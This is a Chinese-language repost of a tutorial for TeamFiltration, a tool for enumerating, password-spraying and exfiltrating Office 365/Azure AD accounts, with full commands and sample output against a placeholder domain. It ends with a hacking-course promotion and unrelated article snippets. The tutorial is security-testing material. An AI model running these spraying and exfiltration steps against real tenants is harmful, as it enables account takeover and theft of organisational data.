TeamFiltration:一款针对O365 AAD账号安全的测试框架

news2024/11/29 4:28:24

关于TeamFiltration

TeamFiltration是一款针对O365 AAD账号安全的跨平台安全测试框架,在该工具的帮助下,广大研究人员可以轻松对O365
AAD账号进行枚举、喷射、过滤和后门植入等操作。TeamFiltering与CrackMapExec非常相似,它可以创建并维护一个磁盘数据库,其中包含的各种信息可以帮助研究人员跟踪过去和正在进行的操作。该数据库使用LiteDB构建,可以使用其开源LiteDB
Studio Windows工具在磁盘上手动浏览。

这个数据库中保存的信息包括有效的用户帐户、以前尝试的用户名和密码组合、有效的用户名和口令组合以及检索到的访问令牌等信息。

工具运行机制

工具下载

广大研究人员可以访问该项目的【
Releases页面】直接下载Linux、Windows和macOS操作系统的预编译TeamFiltration版本。

下载完成并解压文件后,将会得到一个单独的可执行应用程序,直接运行即可。

工具使用

创建你的JSON配置文件

先下载fireprox项目:

git clone https://github.com/ustayready/fireprox

cd fireprox

然后将
create_frieprox_instances.sh文件添加到该文件夹中。

填写你的AWS访问密钥并运行脚本后,Bash脚本将针对我们的配置信息输出JSON
FrieProx配置信息。下面给出的是一个示例TeamFiltration配置文件:

{

    "pushoverAppKey": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",

    "pushoverUserKey": "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB",

    "msolFireProxEndpointsUs": ["https://XXXXAAAA.execute-api.us-east-1.amazonaws.com/fireprox/common/oauth2/token","https://XXXXAAAA.execute-api.us-west-1.amazonaws.com/fireprox/common/oauth2/token"],

    "msolFireProxEndpoints": ["https://XXXXAAAA.execute-api.us-west-1.amazonaws.com/fireprox/common/oauth2/token","https://XXXXAAAA.execute-api.us-east-1.amazonaws.com/fireprox/common/oauth2/token"],

    "teamsEnumFireProxEndpoints": ["https://XXXXAAAA.execute-api.us-east-1.amazonaws.com/fireprox/","https://XXXXAAAA.execute-api.us-west-1.amazonaws.com/fireprox/"],

    "aadSSoFireProxEndpoints": ["https://XXXXAAAA.execute-api.us-east-1.amazonaws.com/fireprox","https://XXXXAAAA.execute-api.us-west-1.amazonaws.com/fireprox"],

    "sacrificialO365Username": "mr.andersen@matrix.com",

    "sacrificialO365Passwords": "TheChooenOne123!",

    "dehashedApiKey": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",

    "dehashedEmail" : "bruce.wayne@batcave.com",

    "proxyEndpoint": "http://127.0.0.1:8080"

  }

典型攻击流

下列命令可以开始账号枚举,–domain为目标客户端域名:

TeamFiltration.exe --outpath C:\Clients\2021\Example\TFOutput --config myConfig.json --enum --validate-teams --domain legitcorp.net

TeamFiltration将要求你选择枚举的电子邮箱语句:

[♥] TeamFiltration V0.3.2.6, created by @Flangvik

[+] Args parsed --outpath F:\Clients\Example\TFOutput --config myConfig.json --enum --validate-teams --domain legitcorp.net

[+] No usernames list provided, pulling statistically-likely-usernames

[?] Provide a target domain/tenant (e.g legitcorp.net) #> legitcorp.net

    |=> [1] john.smith@legitcorp.net

    |=> [2] john@legitcorp.net

    |=> [3] johnjs@legitcorp.net

    |=> [4] johns@legitcorp.net

    |=> [5] johnsmith@legitcorp.net

    |=> [6] jsmith@legitcorp.net

    |=> [7] smith@legitcorp.net

    |=> [8] smithj@legitcorp.net

    |=> [9] john_smith@legitcorp.net

 

[?] Select an email format #> 1

如果你想要提供自己的电子邮件列表,可以使用–username参数,输出结果会自动存储在TeamFiltration.db文件中:

[ENUM] 24.05.2021 12:31:05 EST Filtering out previusly attempted accounts

[ENUM] 24.05.2021 12:31:06 EST Enumerating 248231 possible accounts, this will take ~14 minutes

[ENUM] 24.05.2021 12:31:07 EST Successfully got Teams token for sacrificial account

[ENUM] 24.05.2021 12:31:07 EST Loaded 248231 usernames

[ENUM] 24.05.2021 12:31:08 EST enita.lintz@legitcorp.net valid!

[ENUM] 24.05.2021 12:31:09 EST bruce.wayne@legitcorp.net valid!

[ENUM] 24.05.2021 12:31:13 EST herminia.oliva@legitcorp.net valid!

[ENUM] 24.05.2021 12:31:13 EST thomas.anderson@legitcorp.net valid!

[ENUM] 24.05.2021 12:31:17 EST sharilyn.penning@legitcorp.net valid!

接下来,我们就可以使用下列命令来进行有效邮箱地址喷射了:

TeamFiltration.exe --outpath C:\Clients\2021\Example\TFOutput --config myConfig.json --spray --sleep-min 120 --sleep-max 200

如果没有提供密码列表,则TeamFiltration会自动生成一份密码列表:

[♥] TeamFiltration V0.3.2.6, created by @Flangvik

[+] Args parsed --outpath F:\Clients\Example\TFOutput --config myConfig.json --spray --sleep-min 120 --sleep-max 200

[SPRAY] 24.05.2021 12:33:54 EST Sleeping between 60-100 minutes for each round

[SPRAY] us-west-1 24.05.2021 12:33:55 EST Sprayed renita.lintz@legitcorp.net:Spring2021!          => INVALID

[SPRAY] us-west-1 24.05.2021 12:33:55 EST Sprayed bruce.wayne@legitcorp.net:Spring2021!           => INVALID

[SPRAY] us-west-1 24.05.2021 12:33:57 EST Sprayed herminia.oliva@legitcorp.net:Spring2021!        => INVALID

[SPRAY] us-west-1 24.05.2021 12:33:57 EST Sprayed biff.tannen@legitcorp.net:Spring2021!           => INVALID

[SPRAY] us-west-1 24.05.2021 12:33:58 EST Sprayed elijah.blakley@legitcorp.net:Spring2021!        => INVALID

[SPRAY] us-west-1 24.05.2021 12:33:58 EST Sprayed thomas.anderson@legitcorp.net:Spring2021!       => VALID NO MFA!

[SPRAY] us-west-1 24.05.2021 12:33:59 EST Sprayed chris.kelly@legitcorp.net:Spring2021!           => INVALID

[SPRAY] us-west-1 24.05.2021 12:33:59 EST Sprayed deadpool@legitcorp.net:Spring2021!              => INVALID

[SPRAY] us-west-1 24.05.2021 12:34:00 EST Sprayed sharilyn.penning@legitcorp.net:Spring2021!      => INVALID

[SPRAY] us-west-1 24.05.2021 12:34:01 EST Sprayed master.kevin@legitcorp.net:Spring2021!          => INVALID

[SPRAY] us-west-1 24.05.2021 12:34:01 EST Sprayed adam.wally@legitcorp.net:Spring2021!            => INVALID

[SPRAY] 24.05.2021 12:34:01 EST Sleeping 78 before next spray

获取到有效凭证列表之后,我们就可以进行数据过滤了:

TeamFiltration.exe --outpath C:\Clients\2021\Example\TFOutput --config myConfig.json --exfil --aad

进过数据过滤和提取之后,所有的用户信息都会添加到数据库文件中:

[♥] TeamFiltration V0.3.2.6, created by @Flangvik

[+] Args parsed --outpath F:\Clients\Example\TFOutput --config myConfig.json --exfil --aad

[+] You can select multiple users using syntax 1,2,3 or 1-3

    |-> 0 - thomas.anderson@legitcorp.net

    |-> ALL - Everyone!

 

[?] What user to target ? #> 0

[EXFIL] 24.05.2021 12:35:43 EST Attempting to exfiltrate using provided token

[EXFIL] 24.05.2021 12:35:44 EST Refreshed a token for => https://outlook.office365.com

[EXFIL] 24.05.2021 12:35:45 EST Refreshed a token for => https://api.spaces.skype.com

[EXFIL] 24.05.2021 12:35:45 EST Cross-resource-refresh allowed, we can exfil all that things!

[EXFIL] 24.05.2021 12:35:53 EST Refreshed a token for => https://graph.windows.net

[EXFIL] 24.05.2021 12:35:54 EST Refreshed a token for => https://graph.microsoft.com

[EXFIL] 24.05.2021 12:35:54 EST Exfiltrating AAD users and groups via MS AD Graph API

[EXFIL] 24.05.2021 12:35:58 EST Exfiltrating AAD users and groups via MS graph API

[EXFIL] 24.05.2021 12:35:59 EST Got 133 AAD users, appending to database as valid users!

最后

分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

在这里插入图片描述

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取

有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:

高清学习路线图或XMIND文件(点击下载原文件)

还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/344853.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

四大垃圾回收算法七大垃圾回收器

JVM的运行时内存也叫做JVM堆,从GC的角度可以将JVM分为新生代、老年代和永久代。其中新生代默认占1/3堆内存空间,老年代默认占2/3堆内存空间,永久代占非常少的对内存空间。新生代又分为Eden区、SurvivorFrom区和SurvivorTo区, Eden…

Python基础知识复习以及第三方库openxel的初步使用

目录文件python文件打开函数Python中的split函数详细解释List对象list添加元素的三种方法删除元素反转Python第三方库openxel的初步使用excel文件对象open操作excel入门文件 python文件打开函数 语法:open(file, mode ‘r’, buffering-1, encodingNon…

【高性价比】初学者入门吉他值得推荐购买的民谣单板吉他品牌—VEAZEN费森吉他

“在未知的世界里,我们是一群不疲不倦的行者,执念于真善美,热衷于事物的极致。我们抽丝剥茧,不断地打败自己,超越自己,我们无所畏惧终将成为巨人。”这是VEAZEN吉他官网首页上很明显的一段话,也…

Learning C++ No.9【STL No.1】

引言: 北京时间:2023/2/13/18:29,开学正式上课第一天,直接上午一节思想政治,下午一节思想政治,生怕我们……,但,我深知该课的无聊,所以充分利用时间,把我的小…

MongoDB 索引

MongoDB 索引 索引通常能够极大的提高查询的效率,如果没有索引,MongoDB在读取数据时必须全集合扫描选取符合查询条件的记录。这种扫描全集合的查询效率是非常低的,特别在处理大量的数据时,查询可以要花费几十秒甚至几分钟&#x…

2023年城投债投资研究报告

第一章 概况 城投债又称“准市政债”,是地方投融资平台作为发行主体,公开发行企业债和中期票据,其主业多为地方基础设施建设或公益性项目。从承销商到投资者,参与债券发行环节的人,都将其视为是当地政府发债。伴随“打…

高压放大器在超声导波钢轨传播中的应用

实验名称:高压放大器在超声导波钢轨传播中的应用研究方向:无损检测测试目的:超声导波具有传播距离远、检测距离长的特点,在钢轨无损检测领域受到越来越多的关注。本文使用有限元仿真方法和现场实验方法,对钢轨各模态超…

四类(七种)排序算法总结

一、插入排序 基本思想: 每次将一个待排序的对象,按其关键码大小,插入到前面已经排好序的一组对象的适当位置上,直到对象全部插入为止。即边插入边排序,保证子序列中随时都是排好序的。 基本操作——有序插入&#xff…

搭建pclpy环境与读取pandaset数据并转换为pkl格式为pcd格式

1.搭建pclpy环境 问题:需要处理pcd文件,于是开始摸索搭建环境,有python-pcl,但是安装过程频频出现问题,于是转向pclpy。 参考链接:GitHub - davidcaron/pclpy: Python bindings for the Point Cloud Libr…

通达信量化接口怎么开发的?

通达信量化接口从广义上看,其实是面对股市有利的系统开发,通过智能化或者说程序化的交易体系直接构建了持仓下单的简单运作方式,对此,通达信量化接口又是如何开发出来的呢?一、函数的调用:相关函数调用结果…

Python语言零基础入门教程(十七)

Python 文件I/O 本章只讲述所有基本的 I/O 函数,更多函数请参考Python标准文档。 #### 打印到屏幕 最简单的输出方法是用print语句,你可以给它传递零个或多个用逗号隔开的表达式。此函数把你传递的表达式转换成一个字符串表达式,并将结果写…

企业分布式网络监控

IT 基础架构已成为提供基本业务服务的基石,无论是内部管理操作还是为客户托管的应用程序服务。监控IT基础设施至关重要,并且已经建立。SMB IT 基础架构需要简单的网络监控工具来监控性能和报告问题。通常,几个 IT 管理员配置网络设备、防火墙…

private static final Long serialVersionUID= 1L详解

我们知道在对数据进行传输时,需要将其进行序列化,在Java中实现序列化的方式也很简单,可以直接通过实现Serializable接口。但是我们经常也会看到下面接这一行代码,private static final Long serialVersionUID 1L;这段代…

实施工程师需要知道的常见linux命令

做为现场实施人员,操作linux服务器几乎是每天的必备工作,那么有哪些命令是工作中需要掌握的,下面会总结出来。 一、磁盘管理 1.1 查看当前目录 使用pwd命令,如下图所示,可以看到当前所处的目录是/root这个目录 1.2 进…

thymeleaf模板注入学习与研究--查找与防御

一、日常编码中常见的两种漏洞场景 1.1 模板参数外部可控 RequestMapping("/path")public String path(RequestParam String lang) {return lang ;}实际开发过程中 依靠我丰富的想象力只能想出 换主题 这种场景下可能会出现 大佬们自行脑补吧。 1.2 使用GetMappin…

【面试题】常见前端基础面试题(HTML,CSS,JS)

大厂面试题分享 面试题库后端面试题库 (面试必备) 推荐:★★★★★地址:前端面试题库html语义化的理解代码结构: 使页面在没有css的情况下,也能够呈现出好的内容结构有利于SEO: 爬虫根据标签来分配关键字的权重,因此可以和搜索引擎…

电压放大器在液滴微流控芯片的功能研究中的应用

实验名称:电压放大器在液滴微流控芯片的功能研究中的应用研究方向:微流控生物芯片测试目的:液滴微流控技术能够在微通道内实现液滴生成,精准控制生成液滴的尺寸以及生成频率。结合芯片结构设计和外部控制条件,可以对液…

内网渗透(二十六)之Windows协议认证和密码抓取-浏览器、数据库等其他密码的抓取

系列文章第一章节之基础知识篇 内网渗透(一)之基础知识-内网渗透介绍和概述 内网渗透(二)之基础知识-工作组介绍 内网渗透(三)之基础知识-域环境的介绍和优点 内网渗透(四)之基础知识-搭建域环境 内网渗透(五)之基础知识-Active Directory活动目录介绍和使用 内网渗透(六)之基…

电子招标采购系统源码之为何推荐电子招采

采购类型多 采购制度:采购金额、部门、品类的差异导致管理标准不同。 采购流程:从供应商管理、寻源操作到合同签订、订单执行,业务流程长,审批节点多,传统管理透明度低,联动性差。 供应商管理难 寻源&#…

【SpringBoot3.0源码】启动流程源码解析 •下

文章目录初始化DefaultBootstrapContext开启Headless模式获取监听器并启动封装命令行参数准备环境打印Banner创建上下文容器预初始化上下文容器刷新Spring容器打印启动时间发布事件执行特定的run方法上一篇《【SpringBoot3.0源码】启动流程源码解析 • 上》,主要讲解…